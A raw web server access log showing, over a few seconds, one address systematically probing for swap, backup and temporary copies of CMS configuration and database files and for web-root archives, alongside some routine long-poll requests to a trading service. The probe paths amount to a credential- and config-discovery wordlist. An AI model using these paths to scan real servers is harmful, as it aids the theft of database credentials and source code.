[09/Jan/2026:10:57:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //include/config.php.swn HTTP/1.1" 196
[09/Jan/2026:10:57:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /www.xz HTTP/1.1" 196
[09/Jan/2026:10:57:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //includes/config.php.swn HTTP/1.1" 196
[09/Jan/2026:10:57:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /html.xz HTTP/1.1" 196
[09/Jan/2026:10:57:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //includes/config.swn HTTP/1.1" 196
[09/Jan/2026:10:57:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /web.xz HTTP/1.1" 196
[09/Jan/2026:10:57:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //phpsso_server/caches/configs/database.php.swn HTTP/1.1" 196
[09/Jan/2026:10:57:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webapps.xz HTTP/1.1" 196
[09/Jan/2026:10:57:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //phpsso_server/caches/configs/system.php.swn HTTP/1.1" 196
[09/Jan/2026:10:57:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public.xz HTTP/1.1" 196
[09/Jan/2026:10:57:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public_html.xz HTTP/1.1" 196
[09/Jan/2026:10:57:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //zb_users/c_option.php.swn HTTP/1.1" 196
[09/Jan/2026:10:57:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //e/class/config.php.swn HTTP/1.1" 196
[09/Jan/2026:10:57:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /uploads.xz HTTP/1.1" 196
[09/Jan/2026:10:57:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //e/config/config.php.swn HTTP/1.1" 196
[09/Jan/2026:10:57:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /website.xz HTTP/1.1" 196
[09/Jan/2026:10:57:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927693176 HTTP/1.1" -
[09/Jan/2026:10:57:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/sql_config.php.swn HTTP/1.1" 196
[09/Jan/2026:10:57:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api.xz HTTP/1.1" 196
[09/Jan/2026:10:57:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/bbscache/config.php.swn HTTP/1.1" 196
[09/Jan/2026:10:57:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /test.xz HTTP/1.1" 196
[09/Jan/2026:10:57:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.yml.swn HTTP/1.1" 196
[09/Jan/2026:10:57:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app.xz HTTP/1.1" 196
[09/Jan/2026:10:57:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup.xz HTTP/1.1" 196
[09/Jan/2026:10:57:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.php.swn HTTP/1.1" 196
[09/Jan/2026:10:57:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/settings.inc.php.swn HTTP/1.1" 196
[09/Jan/2026:10:57:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_1.xz HTTP/1.1" 196
[09/Jan/2026:10:57:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_2.xz HTTP/1.1" 196
[09/Jan/2026:10:57:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/settings.old.php.swn HTTP/1.1" 196
[09/Jan/2026:10:57:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_3.xz HTTP/1.1" 196
[09/Jan/2026:10:57:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //manager/includes/config.inc.php.swn HTTP/1.1" 196
[09/Jan/2026:10:57:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.ini.swn HTTP/1.1" 196
[09/Jan/2026:10:57:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_4.xz HTTP/1.1" 196
[09/Jan/2026:10:57:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //db.php.swn HTTP/1.1" 196
[09/Jan/2026:10:57:02 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927706614 HTTP/1.1" -
[09/Jan/2026:10:57:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backups.xz HTTP/1.1" 196
[09/Jan/2026:10:57:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //conn.php.swn HTTP/1.1" 196
[09/Jan/2026:10:57:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin.xz HTTP/1.1" 196
[09/Jan/2026:10:57:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //database.php.swn HTTP/1.1" 196
[09/Jan/2026:10:57:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /temp.xz HTTP/1.1" 196
[09/Jan/2026:10:57:03 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927692442 HTTP/1.1" -
[09/Jan/2026:10:57:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //db_config.php.swn HTTP/1.1" 196
[09/Jan/2026:10:57:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bak.xz HTTP/1.1" 196
[09/Jan/2026:10:57:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.inc.php.swn HTTP/1.1" 196
[09/Jan/2026:10:57:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db.xz HTTP/1.1" 196
[09/Jan/2026:10:57:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/config.php.swn HTTP/1.1" 196
[09/Jan/2026:10:57:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sql.xz HTTP/1.1" 196
[09/Jan/2026:10:57:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config.php.swn HTTP/1.1" 196
[09/Jan/2026:10:57:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dump.xz HTTP/1.1" 196
[09/Jan/2026:10:57:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //index.php.swn HTTP/1.1" 196
[09/Jan/2026:10:57:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /database.xz HTTP/1.1" 196
[09/Jan/2026:10:57:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //default.php.swn HTTP/1.1" 196
[09/Jan/2026:10:57:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Release.xz HTTP/1.1" 196
[09/Jan/2026:10:57:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //main.php.swn HTTP/1.1" 196
[09/Jan/2026:10:57:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /inetpub.xz HTTP/1.1" 196
[09/Jan/2026:10:57:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //settings.php.swn HTTP/1.1" 196
[09/Jan/2026:10:57:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /package.xz HTTP/1.1" 196
[09/Jan/2026:10:57:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //header.php.swn HTTP/1.1" 196
[09/Jan/2026:10:57:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tmp.xz HTTP/1.1" 196
[09/Jan/2026:10:57:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //footer.php.swn HTTP/1.1" 196
[09/Jan/2026:10:57:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db.xz HTTP/1.1" 196
[09/Jan/2026:10:57:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //login.php.swn HTTP/1.1" 196
[09/Jan/2026:10:57:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /data.xz HTTP/1.1" 196
[09/Jan/2026:10:57:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //404.php.swn HTTP/1.1" 196
[09/Jan/2026:10:57:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ftp.xz HTTP/1.1" 196
[09/Jan/2026:10:57:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-login.php.swn HTTP/1.1" 196
[09/Jan/2026:10:57:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /output.xz HTTP/1.1" 196
[09/Jan/2026:10:57:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin.xz HTTP/1.1" 196
[09/Jan/2026:10:57:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.php.swn HTTP/1.1" 196
[09/Jan/2026:10:57:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /upload.xz HTTP/1.1" 196
[09/Jan/2026:10:57:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.swn HTTP/1.1" 196
[09/Jan/2026:10:57:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /src.xz HTTP/1.1" 196
[09/Jan/2026:10:57:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /inetpub.gz HTTP/1.1" 196
[09/Jan/2026:10:57:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //const.DB.php.bak.swn HTTP/1.1" 196
[09/Jan/2026:10:57:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/conf.xz HTTP/1.1" 196
[09/Jan/2026:10:57:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /inetpub.lz HTTP/1.1" 196
[09/Jan/2026:10:57:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //const.DB.php.swn HTTP/1.1" 196
[09/Jan/2026:10:57:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /old.xz HTTP/1.1" 196
[09/Jan/2026:10:57:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /inetpub.rar HTTP/1.1" 196
[09/Jan/2026:10:57:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.php.tmp HTTP/1.1" 196
[09/Jan/2026:10:57:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /inetpub.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:57:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /202.181.208.139.zip HTTP/1.1" 196
[09/Jan/2026:10:57:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.tmp HTTP/1.1" 196
[09/Jan/2026:10:57:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //typo3conf/localconf.php_bak HTTP/1.1" 196
[09/Jan/2026:10:57:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /208.139.zip HTTP/1.1" 196
[09/Jan/2026:10:57:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /inetpub.tar.bz2 HTTP/1.1" 196
[09/Jan/2026:10:57:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //site/default/settings.php.tmp HTTP/1.1" 196
[09/Jan/2026:10:57:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config_global.php_bak HTTP/1.1" 196
[09/Jan/2026:10:57:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /208.zip HTTP/1.1" 196
[09/Jan/2026:10:57:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /inetpub.xz HTTP/1.1" 196
[09/Jan/2026:10:57:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //installation/configuration.php.tmp HTTP/1.1" 196
[09/Jan/2026:10:57:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config_ucenter.php_bak HTTP/1.1" 196
[09/Jan/2026:10:57:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /202.181.zip HTTP/1.1" 196
[09/Jan/2026:10:57:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /inetpub.zip HTTP/1.1" 196
[09/Jan/2026:10:57:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/etc/env.php.tmp HTTP/1.1" 196
[09/Jan/2026:10:57:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927698308 HTTP/1.1" -
[09/Jan/2026:10:57:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //textpattern/config.php_bak HTTP/1.1" 196
[09/Jan/2026:10:57:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /2026.zip HTTP/1.1" 196
[09/Jan/2026:10:57:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /inetpub.z HTTP/1.1" 196
[09/Jan/2026:10:57:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //Application/Common/Conf/config.php.tmp HTTP/1.1" 196
[09/Jan/2026:10:57:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/common.inc.php_bak HTTP/1.1" 196
[09/Jan/2026:10:57:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ROOT.zip HTTP/1.1" 196
[09/Jan/2026:10:57:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /inetpub.Z HTTP/1.1" 196
[09/Jan/2026:10:57:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //environments/dev/common/config/main-local.php.tmp HTTP/1.1" 196
[09/Jan/2026:10:57:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //caches/configs/database.php_bak HTTP/1.1" 196
[09/Jan/2026:10:57:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wwwroot.zip HTTP/1.1" 196
[09/Jan/2026:10:57:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /inetpub.tar.z HTTP/1.1" 196
[09/Jan/2026:10:57:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //environments/prod/common/config/main-local.php.tmp HTTP/1.1" 196
[09/Jan/2026:10:57:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //caches/configs/system.php_bak HTTP/1.1" 196
[09/Jan/2026:10:57:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /htdocs.zip HTTP/1.1" 196
[09/Jan/2026:10:57:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /inetpub.tgz HTTP/1.1" 196
[09/Jan/2026:10:57:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //include/config.inc.php_bak HTTP/1.1" 196
[09/Jan/2026:10:57:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //common/config/main-local.php.tmp HTTP/1.1" 196
[09/Jan/2026:10:57:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /www.zip HTTP/1.1" 196
[09/Jan/2026:10:57:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /inetpub.db HTTP/1.1" 196
[09/Jan/2026:10:57:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //include/config.php_bak HTTP/1.1" 196
[09/Jan/2026:10:57:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //system/config/default.php.tmp HTTP/1.1" 196
[09/Jan/2026:10:57:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /html.zip HTTP/1.1" 196
[09/Jan/2026:10:57:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /inetpub.jar HTTP/1.1" 196
[09/Jan/2026:10:57:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //includes/config.php_bak HTTP/1.1" 196
[09/Jan/2026:10:57:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //typo3conf/localconf.php.tmp HTTP/1.1" 196
[09/Jan/2026:10:57:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /web.zip HTTP/1.1" 196
[09/Jan/2026:10:57:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /inetpub.sqlite HTTP/1.1" 196
[09/Jan/2026:10:57:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //includes/config_bak HTTP/1.1" 196
[09/Jan/2026:10:57:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config_global.php.tmp HTTP/1.1" 196
[09/Jan/2026:10:57:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webapps.zip HTTP/1.1" 196
[09/Jan/2026:10:57:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /inetpub.sqlitedb HTTP/1.1" 196
[09/Jan/2026:10:57:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config_ucenter.php.tmp HTTP/1.1" 196
[09/Jan/2026:10:57:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //phpsso_server/caches/configs/database.php_bak HTTP/1.1" 196
[09/Jan/2026:10:57:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public.zip HTTP/1.1" 196
[09/Jan/2026:10:57:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /inetpub.sql.7z HTTP/1.1" 196
[09/Jan/2026:10:57:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927711677 HTTP/1.1" -
[09/Jan/2026:10:57:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //phpsso_server/caches/configs/system.php_bak HTTP/1.1" 196
[09/Jan/2026:10:57:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //textpattern/config.php.tmp HTTP/1.1" 196
[09/Jan/2026:10:57:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public_html.zip HTTP/1.1" 196
[09/Jan/2026:10:57:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /inetpub.sql.bz2 HTTP/1.1" 196
[09/Jan/2026:10:57:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //zb_users/c_option.php_bak HTTP/1.1" 196
[09/Jan/2026:10:57:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/common.inc.php.tmp HTTP/1.1" 196
[09/Jan/2026:10:57:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /uploads.zip HTTP/1.1" 196
[09/Jan/2026:10:57:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /inetpub.sql.gz HTTP/1.1" 196
[09/Jan/2026:10:57:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927697484 HTTP/1.1" -
[09/Jan/2026:10:57:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //e/class/config.php_bak HTTP/1.1" 196
[09/Jan/2026:10:57:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //caches/configs/database.php.tmp HTTP/1.1" 196
[09/Jan/2026:10:57:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /website.zip HTTP/1.1" 196
[09/Jan/2026:10:57:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /inetpub.sql.lz HTTP/1.1" 196
[09/Jan/2026:10:57:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //e/config/config.php_bak HTTP/1.1" 196
[09/Jan/2026:10:57:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //caches/configs/system.php.tmp HTTP/1.1" 196
[09/Jan/2026:10:57:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api.zip HTTP/1.1" 196
[09/Jan/2026:10:57:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /inetpub.sql.rar HTTP/1.1" 196
[09/Jan/2026:10:57:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/sql_config.php_bak HTTP/1.1" 196
[09/Jan/2026:10:57:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //include/config.inc.php.tmp HTTP/1.1" 196
[09/Jan/2026:10:57:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /test.zip HTTP/1.1" 196
[09/Jan/2026:10:57:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /inetpub.sql.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:57:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/bbscache/config.php_bak HTTP/1.1" 196
[09/Jan/2026:10:57:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //include/config.php.tmp HTTP/1.1" 196
[09/Jan/2026:10:57:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app.zip HTTP/1.1" 196
[09/Jan/2026:10:57:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /inetpub.sql.xz HTTP/1.1" 196
[09/Jan/2026:10:57:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //includes/config.php.tmp HTTP/1.1" 196
[09/Jan/2026:10:57:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.yml_bak HTTP/1.1" 196
[09/Jan/2026:10:57:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup.zip HTTP/1.1" 196
[09/Jan/2026:10:57:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /inetpub.sql.zip HTTP/1.1" 196
[09/Jan/2026:10:57:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //includes/config.tmp HTTP/1.1" 196
[09/Jan/2026:10:57:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.php_bak HTTP/1.1" 196
[09/Jan/2026:10:57:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_1.zip HTTP/1.1" 196
[09/Jan/2026:10:57:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /inetpub.sql.z HTTP/1.1" 196
[09/Jan/2026:10:57:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //phpsso_server/caches/configs/database.php.tmp HTTP/1.1" 196
[09/Jan/2026:10:57:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/settings.inc.php_bak HTTP/1.1" 196
[09/Jan/2026:10:57:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /inetpub.sql.tar.z HTTP/1.1" 196
